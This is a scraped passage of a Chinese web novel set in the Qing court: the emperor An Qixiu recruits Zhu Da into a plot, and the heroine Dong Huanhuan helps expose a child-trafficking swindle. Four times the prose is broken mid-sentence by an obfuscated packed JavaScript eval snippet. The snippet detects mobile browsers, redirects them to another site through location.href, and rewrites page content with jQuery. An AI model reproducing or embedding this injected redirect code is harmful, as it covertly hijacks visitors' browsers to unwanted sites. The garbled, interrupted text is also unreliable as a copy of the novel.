离开客栈,安齐修从新坐上了马车,去了朱耷的家里。 朱耷家。 看着安齐修去而复回,朱耷眼睫毛都没有颤动一下坐在椅子上继续喝他的酒。 旁边的单良看到他这个样子,呵斥道:“大胆朱耷,见到皇上还不行礼。” 朱耷恍若未闻,继续喝他的酒吃他的菜。 单良正要再次发难,被安齐修制止了。 安齐修摆摆手:“单良,你先出去。” 单良恭敬状:“奴才遵命。” 待单良出去,顺便把门从外面关上之后,朱耷才放下酒杯,悠悠的抬起头看向安齐修,语气无比轻蔑的讥讽道:“安齐修,安齐平,单良,修身齐家治国平天下,都是些好名字啊。” 被朱耷这样对待安齐修也不恼,拿过一个未用的酒杯,给自己斟满酒,然后一饮而尽。 朱耷在一边冷着眼看着安齐修的动作,待他喝完酒之后才说:“我是前朝余孽,你居然让我帮你?” 朱耷第一次听到安齐修让人给他的传话的时候简直不敢相信自己的耳朵。堂堂大清皇帝居然让他一个前朝后人帮忙去完成那件大事,简直是匪夷所思。 安齐修笑笑:“如今是大清的天下,世人皆是我的子民,哪里需要分出个前朝今朝。” 朱耷冷哼一声:“你就那么肯定我会帮你?” 安齐修手指轻敲了一下酒杯,脸上表情淡然,声音清冷:“我找到了你,你以为你还有机会置身事外吗?” 朱耷闻言一声轻笑:“你就不怕我不但不帮你,还会把你的阴谋告诉你叔父,多尔衮吗?” 安齐修抬眸,语气平淡的陈述事实:“信我,你以及你的家人尚有一线生机。信他,你们只有死路一条。” 朱耷当然知道,安齐修说的都是事实。多尔衮那样的人,是绝对不允许他身边出现叛徒的,即使是向他告密的也不行,跟何况他还是朱家后人。 朱耷听完,讪笑:“那你就不怕我拿命一搏,让你们之间产生嫌隙,闹得个鱼死网破,导致爱新觉罗家的江山不稳,为我们朱家出这口气。” 安齐修闻言,神色不变,只是端起身边的酒杯继续往杯中倒酒。 再一次端起酒杯一饮而尽后,安齐修对朱耷的提问做出回答:“我或者他的生命对整个大清江山的影响并没有像世人口中说的那么大,即使我们两个今天都死去,明天宗室照样可以找到另外的人坐在那个位子上。所以你说的让我和他之间闹得鱼死网破,导致爱新觉罗家的江山不稳,这件事本就不可能。” 安齐修看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815836|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼朱耷又补充道:“当然,你们也根本不会有向他告密的机会。” 听到此等威胁,朱耷但笑不语。 伸手夹起一粒花生米放入口中,清脆香甜之感在口中蔓延开来,他没说帮忙,也没说不帮,只是换了一个话题:“她以为的游山玩水之行却是你用来组织阴谋掩人耳目的行程,她以为的自由自在,到头来却是移动的牢笼,你这么堂而皇之的利用她,她知道吗?” 安齐修当然知道朱耷说的谁,唇角不自觉的挂了一丝浅笑:“她是我的女人,保护我皇位的稳固,这是她应尽的义务。” 朱耷问:“你就不怕有一天她知道了这一切都只是你的阴谋,会与你翻脸?” 安齐修:“只要时机到了,我的所有事,所有计划,所有阴谋,她想知道的,我统统都会告诉她,至于她到时候会不会翻脸,或者她翻脸之后我该做些什么”,安齐修顿了一下:“就不劳烦朱先生劳心了。” 朱耷听完笑了一下,拿给酒杯给自己倒酒。 斟满酒之后,朱耷才问:“你表现的如此在乎她,就应该好好的把她藏起来,而不是这样的把她暴露于人前,为她招来各种明枪暗箭。”,然后补充一句挑衅:“今天我就差点没忍住。” 安齐修摇头轻笑表示不认同:“她是我的女人,将来是要母仪天下高高在上,供世人景仰朝拜的,注定是要在人前闪闪发光的。她不会是笼中的金丝雀,她是要做腾飞的凤凰的,先生何曾见过凤凰会被藏匿在鸡窝里面的。至于想要伤她的人的,”安齐修看了一眼朱耷:“他们会知道自己将要经历的下场。” 听完安齐修的话朱耷笑笑,他当然知道了,如果刚才他和董浣浣喝酒的时候,哪怕真有一丝这样的想法,还未动手,埋伏在他家周围的杀手们,就会将他的家夷为平地,一家老小赶尽杀绝。 安齐修看了一眼朱耷的表情,问:“据我所知,这些年先生向来是不问世事的,怎么今天突然对她这么感兴趣?” 朱耷笑答:“人生在世几十年,我还从未见过她这样的心思通透却又豁达开朗的女子,好奇一下也是在所难免。”,看了一眼安齐修的眼神又接着解释道:“再说了她也算是救过我一命的救命恩人,关心一下也是人之常情。” 安齐修听完,点头,不再询问其他。 一顿饭过后,朱耷算是默认帮助安齐修完成他想要朱耷帮他完成的事情了,当然了安齐修也没有给他留有不帮忙的余地。 吃过饭之后,两人又聊了些关于科举和农业相关的事项,朱耷表达了一些自己的看法,安齐修不置可否。 一刻钟后,安齐修才从朱耷家离开,坐上马车返回客栈。 客栈里,董浣浣安稳的处在梦乡,梦里她还在宿舍里吹着空调,吃着西瓜,盯着电脑屏幕认真的在和电脑下棋。孟古青还在边看着她的小说,边嚷嚷着要穿越。老大,老二,在一旁无情的打击她。 梦里的董浣浣清清楚楚的知道,这是一场她最渴望的梦境,她想家了,她想宿舍的那几只了。 一滴泪,从眼角无声的滑落,落在她耳边的枕头上。 12. 董浣浣不知道的那些事儿 次日,董浣浣在头痛欲裂中悠悠转醒。 董浣浣发誓,她以后再也不喝酒了。 舔了舔干裂的嘴唇,她感觉有些渴。起身穿鞋下地,走到桌前拿起水壶倒了一杯水,一仰头咕噜噜的全部下肚,然后接着倒第二杯。 紫鸢拎着一壶水推门进来的时候就看到她家小姐像许久没有见到过水的老水牛般,端着茶杯在猛灌茶。 紫鸢走上前去赶忙制止,倒了一杯蜂蜜水端给董浣浣,嘱咐她慢点喝。 董浣浣拿着水杯按照紫鸢的嘱咐一小口一小口慢慢的喝着,余光不经意的扫了一眼站在一旁的紫鸢,发现她正在用一种欲言又止的奇怪的表情看着董浣浣。 董浣浣叹了口气,放下水杯看向紫鸢,张口:“说吧,发生了什么事情了?” 紫鸢颇为无奈的小声询问:“小姐你还记得昨天发生了什么事情了吗?” “昨天发生了什么事情?”,董浣浣不解的重复。 她努力的回想了一下,昨天她收到了朱耷送过来的画,去了他家想去拯救他。之后和朱耷喝酒,朱耷说了他的身世并扬言说要绑架她逼安齐修为他的复仇大业提供资金,她把朱耷训了一通,之后安齐修来了,把她抱走了。 啊,她想起来了,最后是安齐修把她抱走的。 在封建社会的清朝,这可是不得了的大事啊,她的一世清白,她的一世英名,全都毁了。 董浣浣慌忙起身拉住紫鸢的手:“昨天是安齐修抱着我上马车的对不对,我的天哪,我的一世清白全都毁了。这事你一定要给我保密,一定不要告诉阿玛,听到了吗?” 紫鸢努力忽略被董浣浣捏的生疼的手,艰难点头,然后又小心翼翼的询问道:“那上马车之后的事情呢,小姐你还记得吗?” 董浣浣努力的回想,上马车之后,她因为害羞就老老实实的坐在了紫鸢的旁边,然后就迷迷糊糊的睡着了呀,之后还发生了什么事情了吗? 董浣浣答:“我坐着坐着就睡着了呀。” 紫鸢无语扶额:“小姐你真的都不记得之后发生了什么事情了吗?” 董浣浣用无辜的眼神望着她问:“之后我不就睡着了吗,还发生什么事情了,对了”,董浣浣刚刚想到了另一个问题:“我是怎么从马车上下来的,不会又是安齐修把我抱下来的吧?” 紫鸢郁闷极了:“小姐,那都不是重点好吗。” 董浣浣惊了,她在马车上和安齐修都做了些什么,能让一向保守的紫鸢说出她被安齐修抱下来这样的事情都不是重点的话来? 紫鸢刚要解释,就被董浣浣制止了。 董浣浣用手捂住紫鸢刚到嘴边的话,示意她先不要说。 她需要一点时间做一下心理建设。 董浣浣拉着紫鸢面对面的坐了下来,调整呼吸,深吸了一口气,做好充足的心理准备,点头示意紫鸢可以说了:“我在马车上都做了些什么,你可以说了。” 紫鸢将董浣浣如何躺到安齐修的怀里,如何被安齐修抱下马车,又如何在床上紧紧抓住人家衣服哭哭啼啼不松手的囧样,一五一十完完整整的给董浣浣描述了一遍。 董浣浣听完之后淡定的走到床边,脱掉鞋子掀开被子,然后把自己蒙了起来。她的脑子里现在只有一个想法,老天爷,让她死了吧,这也太丢人了吧。 紫鸢看着头在被子里大喊大叫,腿在外边不停扑腾的小姐,无奈的走到床边,费了九牛二虎之力把被子从她家小姐身上掀开。 把董浣浣扶正坐到床边,紫鸢轻声的建议道:“小姐,要不咱们别和他们一起回京了吧,这样下去,老爷迟早会知道,然后打断我的腿的。” 董浣浣点头表示赞同,这样下去,恐怕她家阿玛也会打断她的腿的。 虽然被帅哥公主抱什么的,很让人脸红心跳,但是在这个封建的时代,再这样下去恐怕真的可能会被打死。 董浣浣腾的站起身来,拍了拍紫鸢的肩膀说:“紫鸢,你收拾收拾行李,我和他们道个别,我们今天就回家。” 她可不想以后被人抓着这个把柄浸猪笼什么的,那就太冤枉了。 董浣浣鼓足了勇气握紧拳头,正要出门,却被紫鸢拦了下来。 董浣浣不解:“紫鸢,你拦着我干什么。即使是分道扬镳,礼貌起见,咱们也是需要和人家道个别的呀,不然人家还以为咱们揣着人家的玉佩跑了呢。” 紫鸢对她家小姐的想法的古怪程度表示佩服,她只不过是想提醒一下她,出去见人怎么也要梳洗打扮一番才行呀,这样蓬头垢面的出去,是会被人家笑话的。 经过紫鸢的提醒,董浣浣才想起来,她刚起床脸没洗,头没梳,披头散发的去找安齐修道别,恐怕会把他吓一跳。即使是分道扬镳,在帅哥的心里也是需要留下最美的印象的。 一番梳洗打扮之后,董浣浣走到安齐修的房门口,敲开了他的房门。 打开门出来的是单良,董浣浣和他打招呼的同时,余光往屋里瞥了一眼,没看到安齐修。 看到了董浣浣的动作,单良立刻会意,恭敬的向董浣浣解释道:“少爷今天早上出去了。” 董浣浣闻言悻悻的转头准备离开,单良的声音再次传来:“少爷说了,董小姐要是想要见他,让我给小姐引路。” 董浣浣一听心情转晴:“那他是去哪了?距离这里远不远呀,我待会还有事,可能去不了太远的地方。” 单良闻言,脸上堆起笑容:“放心吧,董小姐。不远,请随我来。” 董浣浣跟着单良走到门口,那里已经有辆马车在等着了。 马车前有个小凳子,董浣浣踩上凳子。凳子有一些矮,平常她都是扶着紫鸢的手借力走上马车的,今天紫鸢不在,董浣浣正在想自己以一个怎样的姿势爬上马车才会显得比较淑女,手就被一个人拉住了。 董浣浣抬头,就看到了安齐修那张带着笑容的明媚的脸。 安齐修两手掐住她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安齐修坐在马车的对面,嘴边带着浅浅的笑。他小心翼翼的观察着董浣浣脸上的表情,一会是懊恼,一会是羞赫,一会又是愤愤不平,最终像是下定了某种决心一样,变为坚定,最后恢复到平静。 董浣浣没有想到安齐修居然是带她来朱耷家。 马车停稳后,安齐修先下了车,之后把手递给董浣浣,董浣浣牵起安齐修的手扶着他的肩膀,小心的下了车。 站稳后,看到眼前的场景,董浣浣被吓了一跳。 这四下无人,门庭大开,人去楼空是怎么回事。 一个不好的念头从董浣浣的脑中冒了出来,朱耷想要谋反的消息不会是走漏风声了,然后朱家被抄家了吧。 那她岂不是帮了倒忙,成了害死这一家人的刽子手了。 董浣浣顾不上看旁边的安齐修的反应,拔腿就往院子里跑,心里默默的祷告,他们只是走了,不是被抄家了。 董浣浣把整个朱耷家里里外外都看了一遍,发现东西都还整整齐齐的放着,只是带走了一些衣物,不像电视里抄家时候的样子。心里的那一点希望慢慢的变大,直到安齐修伸手递给她一副画。 安齐修说:“这是,朱先生临走之间托我转交给你的。” 董浣浣接过画,打开,是一副人物画,描绘的是董浣浣和紫鸢在他们家喝酒,恰好安齐修把她抱走时的场景。旁边是朱耷给她的题词: 赠挚友:江湖再见,一生珍重! 落款:八大山人。 13. 正确的路 看完信之后,董浣浣这才长长的舒了口气。 她小心的把画卷起来,抱在怀里。看到她这样,安齐修伸过手来说要帮她拿着,回到客栈再还给她。 董浣浣看了一眼安齐修伸过来的手,又看了一眼他的表情,他唇角含笑的点头示意她把画放到他的手上,董浣浣被他的笑容蛊惑了,乖乖的把画递到了安齐修的手中。 迈开轻松的步伐在朱耷的家里晃了晃,董浣浣只觉得鸟语花香的,空气异常清新。 董浣浣暗自庆幸着,朱耷他们一家没出事就好,她可不希望在这个时代别人再因为她的一个决定而丢掉性命了,万一哪天她回去现代了却背着清朝的命案,她一辈子都会寝食难安的。 大巴出事那天,要不是她提议去乐山看大佛,她们也不会坐上那辆大巴车,她也不会来到这里,大家还都是平平安安的,想到这里董浣浣更加难过了,也不知道孟古青,老大,老二他们现在怎么样了? 突然心底的另一个声音响起,董浣浣你这是在干嘛,她们一定会好好的! 对,对,对,董浣浣两手拍着脸颊让自己不要多想,她们一定会没事的。 安齐修在旁边看着这样的她,忍俊不禁:真想知道她的小脑袋瓜里,在想些什么。 收起心中的负面情绪,董浣浣看向安齐修随口一问:“对了,昨天我喝醉了,好像你让单良留在了这里,那他知道八大先生什么时候走的吗?” 她不敢在安齐修面前说出朱耷的名字,毕竟他是前朝后人这件事,知道的人越少越好。 安齐修闻言,轻笑,似乎是想了一下才道:“嗯,我昨天下午的时候送朱先生走的,当时单良在我身边,他应该也是知道的吧。” 听到他这话,董浣浣也来不及管什么男女授受不亲了,赶忙用手捂住了安齐修的嘴:“你能不能小点声,隔墙有耳懂不懂啊,你在院子里大摇大摆的说出那个姓,就不怕找来杀身之祸。” 安齐修用手把董浣浣捂在他嘴上的手拿下来,压低了声音说:“没想到你还这么的关心我。” 董浣浣回他:“当然了,你可是我朋友。” 董浣浣想了一下,又问安齐修道:“他昨天有没有利用我来要挟你什么?” 昨天朱耷可是当着她的面说过,要利用她来要挟安齐修,下午他又见了安齐修,如今居然什么也没有做,就这么容易的搬走了,事情一定不会这么简单,董浣浣想。 安齐修看着她一副我已经看穿了一切的表情,故意摆出一副很为难的样子给她说:“他让我帮助他重振大明江山,承诺事后会让我们安氏一门光祖耀祖。” 董浣浣抓住他的手,轻声吼道:“你答应他了?”,董浣浣问完之后又觉得不对,这时候问他又没有什么用,应该直接警告他:“你听我说,反清复明是没有前途的,你会因此而死的,千万别踏上这条路。” 害怕安齐修不信她,去铤而走险,董浣浣举起双手发誓:“我对天起誓,我绝对是为你好,这一次你一定要听我的。” 董浣浣终于觉得她这个穿越来的学渣有些用处了,她可以明确的给一个人指出正确的道路,阻止一个青年才俊,误入歧途。 安齐修笑着问她,眼睛里一片柔光:“你害怕我死?” 董浣浣一脸焦急,心想这不是废话吗,明知山有虎,偏向虎山行,说的就是你啊。作为你的朋友我能不着急吗? 董浣浣拉住安齐修的手郑重的点头道:“当然了。” 得到了她肯定的回答之后安齐修又是一笑,俯身凑向她,两眼直勾勾的盯着她说:“那好,既然你这么关心我,就留在我身边看着我好了,我怕我自己会忍不住。” 董浣浣一时间没反应过来,嘴里只来得及发出一个:“啊?”,字。 安齐修挑眉:“怎么,你不愿意看着我吗?” 董浣浣别扭:“愿意倒是愿意”,只是这话从安齐修的嘴里说出来,让人感觉怪怪的。 安齐修得到了满意的答复,心情很好,从董浣浣的手里抽出一只手,拍了拍董浣浣的头:“你愿意就好。” 因为害怕被人抓到把柄,两人便在朱耷家不再久留,抬脚返回马车上。 在回程的路上,董浣浣这才想起来有什么地方是不对劲。 她今天早上去见安齐修的目的是想向他辞行的,现在不仅没成功,还答应了他,会待在她身边好好监督他。 这都是什么事啊?! 董浣浣无语问天。 看了一眼坐在对面闭眼假寐的安齐修,董浣浣实在是不敢打扰他。 便掀开窗帘往外面的街道,看过去。 街道上熙熙攘攘来来往往的人群,此时谁能够明白她的心情呢。 回到客栈,董浣浣有些泄气的推开房间门。 紫鸢拿起桌上的包袱迎过来,问:“小姐,你和安少爷道过别了吧,我们是不是可以走了?” 董浣浣有些泄气拉着紫鸢的手,示意她先坐下。 紫鸢被董浣浣拉着坐了下来,用疑惑不解的眼神看着她。 董浣浣酝酿了半天,才开口解释道:“紫鸢啊,咱们可能还是需要和安齐修他们一起回家。” 紫鸢不解的问:“为什么,小姐不是说好了,要和他们分开走的吗?” 董浣浣扶额,不知道该怎么和紫鸢解释,总不能和紫鸢说,安齐修想要造反,我阻止了他,并且答应他,短时间监督他不再犯了吧。 紫鸢看到她这个样子,又想到之前的种种,试着劝说董浣浣道:“小姐,你忘了之前我们要走没走成的下场了,咱们不能一而再,再而三的犹豫了,这样子下去,一定会出大事的。” 董浣浣想了想觉得紫鸢说的有道理,可是她刚答应安齐修监督他,转头就要和人家分道扬镳实在是不太好。还是等到回家之后再说吧,至少也要等到下一站,再找个理由和安齐修说再见。 对,折中的办法就是下一站,找个借口和安齐修说再见,这样既能分道扬镳又做到了信守承诺。 董浣浣打定了主意后,安抚了一下紫鸢,让她再忍忍,并向她保证她们下一站一定会和安齐修分道扬镳。 紫鸢看到她家小姐的主意已定也不便在多说些什么,就把包袱从新整理了一下,下楼去给董浣浣找点零食去了。 逛了一上午,董浣浣也着实有些累了。 坐在桌边就打起瞌睡来。 睡梦中的董浣浣感叹,无论是古代还是现代,午休一直是必不可少的啊。 午休过后,单良过来敲门。 紫鸢打开门,看了一眼来人,一想到他家主子又不知道用了什么诡计竟然把她家小姐留了下来就满腹怨气,耸拉着脸,语气不善的询问:“单大哥,有什么事情吗?” 对于紫鸢的不友好单良也不在意笑着解释:“我家主子今天得空,准备去街上逛逛,特地遣我过来,问一下董小姐有没有时间一同前往。” 紫鸢心想,上午刚把我家小姐拐出去,准备各走各的小姐就换了风向,这下午又来邀小姐出去,也不知道又在安什么坏心眼,心中更是不悦。 坐在桌上的董浣浣此时完全没能体会紫鸢此时的心情,一听安齐修要带她出去玩就来了劲头,这些天被各种事情耽搁了,她都没能有时间好好出去逛逛,今天恰好安齐修有空,大家一起出去逛逛真心不错。 董浣浣从座位上站起来,兴高采烈的嘱咐还站在门边一脸不悦的紫鸢:“紫鸢,拿些银子出来,咱们出去逛逛。” 看到她家小姐这高兴的样子,紫鸢也不好说些什么反对的话,只能从包袱里拿些银子跟上她家小姐出去采购的步伐。 董浣浣和紫鸢跟着单良从楼上下来,就发现安齐修和安齐平一行人在楼下等着她们了。 除了刘全和单良之外,这次他们又多了一个随从,就是今天驾马车带她去朱耷家的那个车夫。 安齐修给她介绍了一下。 此人名唤,卫苑。是他们家在南昌分店的伙计,人吃苦耐劳,平时话不多。 安齐修说:“如果以后我不在,你要上街的时候,可以带着他,一来可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815838|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以保护你的安全,二来也可以给你们拎一下东西。” 董浣浣点头答应:“知道了。” 早上因为匆忙董浣浣也没来得及观察此人。 此时在安齐修的介绍下,董浣浣才来得及仔细的观察一下此人。 此人身高约莫八尺,脸庞黝黑,国字脸,一副习武之人的派头。在董浣浣看来,如果他要是在现代做演员的话,一定是特种兵或者警匪片中绝对的好人担当。 待董浣浣和众人打过招呼之后,安齐修对着众人宣布出发了。 走着走着,董浣浣慢慢的靠近安齐平身边低声问:“这几天你都去哪里了,我怎么都没有看到你?” 闻言,安齐平一本正经的回答道:“多劳浣儿姐挂念,我哥有事吩咐我去办,刚办完回来,故而浣儿姐没能见到我。” 听到这话,董浣浣内心吐槽,这孩子越来越不像小孩了,说起话来像个小老头,真心没有之前那个爱斗嘴的人设让人感到舒心。 不过她也不是安齐平的长辈,既然人家哥哥发话了,她也不能当众去驳安齐修的面子,说他这样教育弟弟是不对的。 何况,面对安齐修,她自己都会自动变成小猫,又何谈去帮助别人争取话语权。 董浣浣碰了一鼻子灰,自觉无趣又默默的移动到安齐修的身边,乖乖的待着了。 一群人从客栈出发,也没有坐车,就这样晃晃悠悠的往集市的方向走去。 到了集市,董浣浣简直就像是脱了缰的野马,不停的吃,吃,吃,买,买,买。 刘全,单良和卫苑手里都满满当当的拎着她采购来的战利品。 紫鸢一直和董浣浣使眼色,让她悠着点买,这样一直使唤着人家的仆人总归是不好,而且还是那个人的仆人。 董浣浣内心吐槽:她也不想这样啊,她又没有开口要买,她只是管不住那因为好奇而四处瞄来瞄去的眼睛。要怪就怪安齐修,她的眼睛多停留两秒的东西,安齐修就会特别败家的让单良给买下来。 董浣浣已经推辞了好几次了让安齐修不要买,无奈他根本不听啊! 这种霸道公子独宠我的剧情,太玛丽苏了,董浣浣的少女心此时得到了巨大的满足。 后来董浣浣也想通了,她要在古代把她在现代只能做梦才能享受到的生活,一次次体验个够本,万一哪天回去了还可以和孟古青她们吹嘘。 “走,走,走,快去看看。”,有人从他们身边急匆匆的跑过,差点撞到董浣浣。 还好安齐修眼疾手快的把她拉到了另一边。 单良喝住那人:“你怎么看路的,差点撞到了我们家小姐。” 那人闻言,停住脚步向董浣浣连连道歉:“小姐,抱歉。是在下冒失了险些撞到了您。” 董浣浣冲那人笑了一下回答道:“无碍,请问兄台,这么急匆匆的所谓何事啊?” 那人解释道:“前边有个姑娘在卖身葬父,这十里八村的人都去看了。”,那人说完又和董浣浣道了句歉,就急匆匆的走了。 董浣浣一听,就知道有热闹好看了。抬头用真诚而希冀的眼神看向站在她旁边的安齐修。 安齐修无奈,点头表示同意。 得到安齐修的许可之后,董浣浣赶忙招呼其他人快点跟上那人。 等到他们到了那里之后,早已是里三层外三层的站满了看热闹的人。 董浣浣拉住紫鸢的手,好不容易的挤了进去,站在了人群的最前面。 那个女孩头上被插着一根草,年龄约莫五六岁的样子,小脸惨白,梨花带雨的,身前挂着一个牌子,上边写着卖身葬父。 旁边木板上躺着一个人,用白布盖着的,应该是她的父亲。 董浣浣感叹,原来各大影视剧里的剧情也并不是编剧信手胡诌的,都是历史上存在过的事情。 原来古代卖身葬父就是这个样子的呀。 还没等董浣浣抒发完她的感叹,就感觉一道求助的视线望向她。 是她,那个卖身葬父的女孩在向她求助。 14. 路见不平,拔刀相助 董浣浣看着那小姑娘,她眼神倔强的很,任由眼泪掉落,也终究是一吭不吭的什么话也不说。 周围围观的人议论纷纷。 一会有人说这孩子可怜,小小年纪,娘亲早早的就去世了,现在爹又不幸落水而亡。 一会又有人说,这孩子家里闹旱灾,娘亲被饿死了,爷俩从外地来投奔亲戚,现在爹在路上被土匪打死了,太可怜了。 就这一会功夫,董浣浣已经从周围人的嘴里听到了好几个版本了。 董浣浣越听越不对味,她抬头朝着围观的人群巡视了一圈,发现有几个人,一会走到东边和东边的人聊几句,一会走到西边和西边的人聊几句。 然后人群又慢慢的往前后左右传播新一轮的传言。 董浣浣看向站在她身旁的安齐修,发现他正好也低着头看着她,董浣浣对着安齐修挥挥手,示意他把耳朵凑过来,董浣浣看了看周围的人,发现并没有人关心他们,轻声对着安齐修的耳朵说道:“这好像是一个骗局。” 闻言,安齐修冲她笑了一下,学着董浣浣的样子,低头对着她的耳朵轻声说:“你也看出来了。” 安齐修的声音在她耳边酥酥麻麻的响起,呼出的气体浮在的她耳朵周围的皮肤上,感觉有些痒。 这还是安齐修第一次距离她这么近,董浣浣的耳朵以肉眼可见的速度迅速的蹿红,红到就要滴出血来,董浣浣摸了摸发烫的耳朵。不过此刻董浣浣来不及想入非非,她再次凑向安齐修:“你也看出来了吗?” 安齐修点头:“算上那个小姑娘和躺着扮演她死去的爹的那个人,一共是六个人的团伙。” 董浣浣在心里默默赞叹,安齐修的观察力和敏锐度简直太厉害了。 不过对于那个跪着的小姑娘的骗子身份上董浣浣和安齐修是持反对意见的。 董浣浣:“我觉得那个小姑娘应该是被逼迫的,她看上去真的很伤心,很无助。这么小的孩子是演不出来这样的情绪的。” 安齐修批评董浣浣:“出门在外一定要记得,不能因为她长得像好人,或者她看上去很真诚就去相信一个人。” 董浣浣点头,表示认同。 看到董浣浣的表现,安齐修很满意,话音一转,道:“不过这次我同意你的意见,那个小姑娘是被迫的。” 能被安齐修认可,董浣浣开心的往他身边凑了凑:“那我们接下来该怎么办,总不能见死不救吧,见死不救的话我会一辈子良心不安的。” 安齐修对着她笑了笑,随后唤一声:“卫苑!”,朝卫苑使了个眼色。 卫苑立即心领神会:“知道了,主子。” 卫苑随即走到了那小姑娘的面前,问了一下她卖身葬父的价格,小姑娘沉默不语。 人群中突然有人喊道:“至少也值一锭银子吧。” 接着又有人附和:“一锭银子哪够,这么水灵灵的姑娘至少也得值两锭银子吧?” 随后又有人附和:“这位仁兄一看就是富贵人家的公子,既然是雪中送炭起码也要给三锭银子吧,带回家做童养媳怎么想也是公子赚了!” 之后越来越多的人开始七嘴八舌的附和,董浣浣知道刚才带头的那三个人一定是那团伙的成员。 董浣浣正想着安齐修会给多少钱让卫苑结束这场闹剧,只见卫苑什么话也没说,拔出手中的宝剑,刷的一声把盖住那名“死者”的白布一分为二,然后脚踩住死者躺着的木板,一用力把木板的另一头踩到悬空,另一只手直接把木板拽了起来,本来躺在上边的死者,猛地睁开眼,呼噜噜的爬起来站到了一边。 董浣浣看的愣住了,被安齐修牵着胳膊拉到了一边。 这时候不知道是谁喊了一声:“诈尸啦!” 众人一听,赶忙捂着头四处逃窜。 现场一度混乱不堪。 待人都走干净之后,董浣浣才回过神来,看向卫苑那里。 此时卫苑把小姑娘护在身后,而他对面站着五个男人,包括刚才那个所谓的死者爹。 董浣浣觉得今天她简直是大开眼界了,原来我国古代真的有这么牛的剑客啊,安齐修家的伙计真是人不可貌相啊。 这时站在对面的那几个人中一个穿着灰黑色麻布衣服的人,一脸凶神恶煞的对着卫苑吼:“你是从哪里蹦跶来的,不知道我们这边的规矩吗,我劝你不要挡着我们的财路,不然我们让你吃不了兜着走。” 卫苑一脸冷淡道:“脚踏之地皆是皇天后土,路见不平,自当拔刀相助!” 那些人看到卫苑刚才的架势,自然也是知道他是有几分能力的,一时间没有人敢贸然上前。 “小柒,我是你爹,你给我过来。”,那个刚才躺在木板上装死者的人,冲着躲在卫苑后面的那个小姑娘喊道。 小姑娘伸手拽着卫苑的衣角,从卫苑的身后露出头来,对着那人道:“你是坏人,你是人贩子,你不是我爹!” 那人看到小柒这样说,更是怒了:“你个死丫头,翅膀硬了是不是,居然敬酒不吃吃罚酒,等我收拾完这个人之后,看我怎么收拾你!” 这架势,显然是没有和平谈判的余地了,一群人,你看看我,我看看你,互相使了个眼色便一股脑的冲着卫苑杀去。 安齐修看到此时的情况眼神示意单良把小姑娘带离危险区。 单良得令,走向前去,在一堆人的刀光剑影中,把那个小姑娘带了出来。 董浣浣迎上前去,低下头,轻轻的抚摸着小姑娘的头发,安慰她:“不要怕,我家也有一个和你差不多大的弟弟,有时间我带你找他玩。” 那女孩冲着董浣浣露出了一个腼腆的笑容:“谢谢,姐姐。” 看着她的笑容,董浣浣心里很是心疼,这么大点的女孩却要遭受这些,把她搂进怀里自言自语道:“真是个好姑娘,以后要是能做我弟媳妇也不错。” 董浣浣安抚了小姑娘的情绪后,再次抬起头来,就发现那一群人都已经被卫苑收拾的七零八落的躺在地上,哎呦哎呦的直叫唤。 安齐修看到卫苑都已经收拾好了,和卫苑说:“余下的事情,你来处理干净就好。” 董浣浣闻言看向安齐修:“你不会是让卫苑把他们都杀了吧,虽然他们很可恶,但咱们也不能光天化日之下,就这样让他们暴尸街头吧?” 听到了董浣浣的话,安齐修愣了一下,笑着说:“我只是让卫苑把他们带到官府,交由他们处置,大清自有它的律法在,不能随随便便的草菅人命,不然我们和这群人还有什么区别。至于这个小姑娘,也让卫苑一并带到官府交由他们找人照看吧。” 董浣浣还还没来得回话,那个名唤小柒的女孩却不愿意了,她死死的抓住董浣浣的手不松开:“我不要去官府,上次就是他们把我卖给人贩子的。姐姐,姐姐,我跟着你好不好,我会干许多的活,你只需要给我口饭吃就好,好不好嘛,姐姐,姐姐。” 董浣浣被她眼底的渴望打动,正要点头答应。不想却被旁边的紫鸢打断:“我们小姐才不是你的姐姐,不要乱攀亲戚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815839|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 董浣浣白了一眼紫鸢,制止她道:“紫鸢!” 紫鸢恍若未闻,一把把抓在董浣浣手上的那个小姑娘的手从董浣浣手上扯掉,继续说道:“你这样的人,我见多了,不能因为我们小姐心眼好,就随便的贴上来乱认亲戚。” 一向懂事乖巧的紫鸢,今天仿佛是被点燃炮仗一样,这样伤害一个刚刚被救下来,受过严重心理创伤的小姑娘,董浣浣怒了:“紫鸢,你闭嘴!” 